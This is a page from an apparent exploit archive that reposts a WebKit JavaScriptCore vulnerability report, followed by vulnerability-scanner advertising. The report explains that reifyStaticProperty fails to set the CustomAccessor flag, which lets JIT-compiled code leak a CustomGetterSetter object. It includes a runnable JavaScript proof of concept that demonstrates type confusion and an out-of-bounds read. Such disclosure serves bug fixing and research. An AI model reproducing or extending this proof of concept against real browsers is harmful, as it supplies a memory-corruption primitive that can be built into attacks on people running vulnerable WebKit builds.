webkit jsc reifystaticproperty needs to set the propertyattribute::customaccessor flag for customgettersetter

▸▸▸ Exploit & Vulnerability >>   dos exploit & multiple vulnerability




webkit jsc reifystaticproperty needs to set the propertyattribute::customaccessor flag for customgettersetter Code Code...
				
/* https://github.com/WebKit/webkit/blob/3fff8c40c665a09de5e3ede46fc35908f69353c3/Source/JavaScriptCore/runtime/Lookup.h#L392 if (value.attributes() & PropertyAttribute::PropertyCallback) { JSValue result = value.lazyPropertyCallback()(vm, &thisObj); thisObj.putDirect(vm, propertyName, result, attributesForStructure(value.attributes())); return; } if (value.attributes() & PropertyAttribute::DOMJITAttribute) { ASSERT_WITH_MESSAGE(classInfo, "DOMJITAttribute should have class info for type checking."); const DOMJIT::GetterSetter* domJIT = value.domJIT(); auto* customGetterSetter = DOMAttributeGetterSetter::create(vm, domJIT->getter(), value.propertyPutter(), DOMAttributeAnnotation { classInfo, domJIT }); thisObj.putDirectCustomAccessor(vm, propertyName, customGetterSetter, attributesForStructure(value.attributes())); return; } if (value.attributes() & PropertyAttribute::DOMAttribute) { ASSERT_WITH_MESSAGE(classInfo, "DOMAttribute should have class info for type checking."); auto* customGetterSetter = DOMAttributeGetterSetter::create(vm, value.propertyGetter(), value.propertyPutter(), DOMAttributeAnnotation { classInfo, nullptr }); thisObj.putDirectCustomAccessor(vm, propertyName, customGetterSetter, attributesForStructure(value.attributes())); return; } CustomGetterSetter* customGetterSetter = CustomGetterSetter::create(vm, value.propertyGetter(), value.propertyPutter()); thisObj.putDirectCustomAccessor(vm, propertyName, customGetterSetter, attributesForStructure(value.attributes())); It's possible that the given property's attributes variable "value.attributes()" doesn't contain PropertyAttribute::CustomAccessor. In that case, a mismatch between the value of the property and its attributes occurs. When handling a property access operation, the normal interpreter sees the type of the value whereas the JIT compiler sees the attributes. So we can use JITed code to pull out the CustomGetterSetter object to the JavaScript world. The PoC demonstrates type confusion and an OOB read using a CustomGetterSetter object linked to regExpConstructorInput. PoC: */ function opt(o) { return o.r.input; } Object.assign({}, RegExp); // Reifying for (let i = 0; i < 200000; i++) { opt({r: RegExp}); } let input = opt({r: RegExp}); // Pulling the CustomGetterSetter object. let o = { a0: 0x1234, a1: 0x1234, a2: 0x1234, a3: 0x1234, a4: 0x1234, a5: 0x1234, a6: 0x1234, a7: 0x1234, a8: 0x1234, a9: 0x1234, a10: 0x1234, a11: 0x1234, } o.input = input; print(o.input); // The normal interpreter doesn't see the attributes, so it will just call the underneath getter using callCustomGetter.

Webkit jsc reifystaticproperty needs to set the propertyattribute::customaccessor flag for customgettersetter Vulnerability / Exploit Source : Webkit jsc reifystaticproperty needs to set the propertyattribute::customaccessor flag for customgettersetter



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.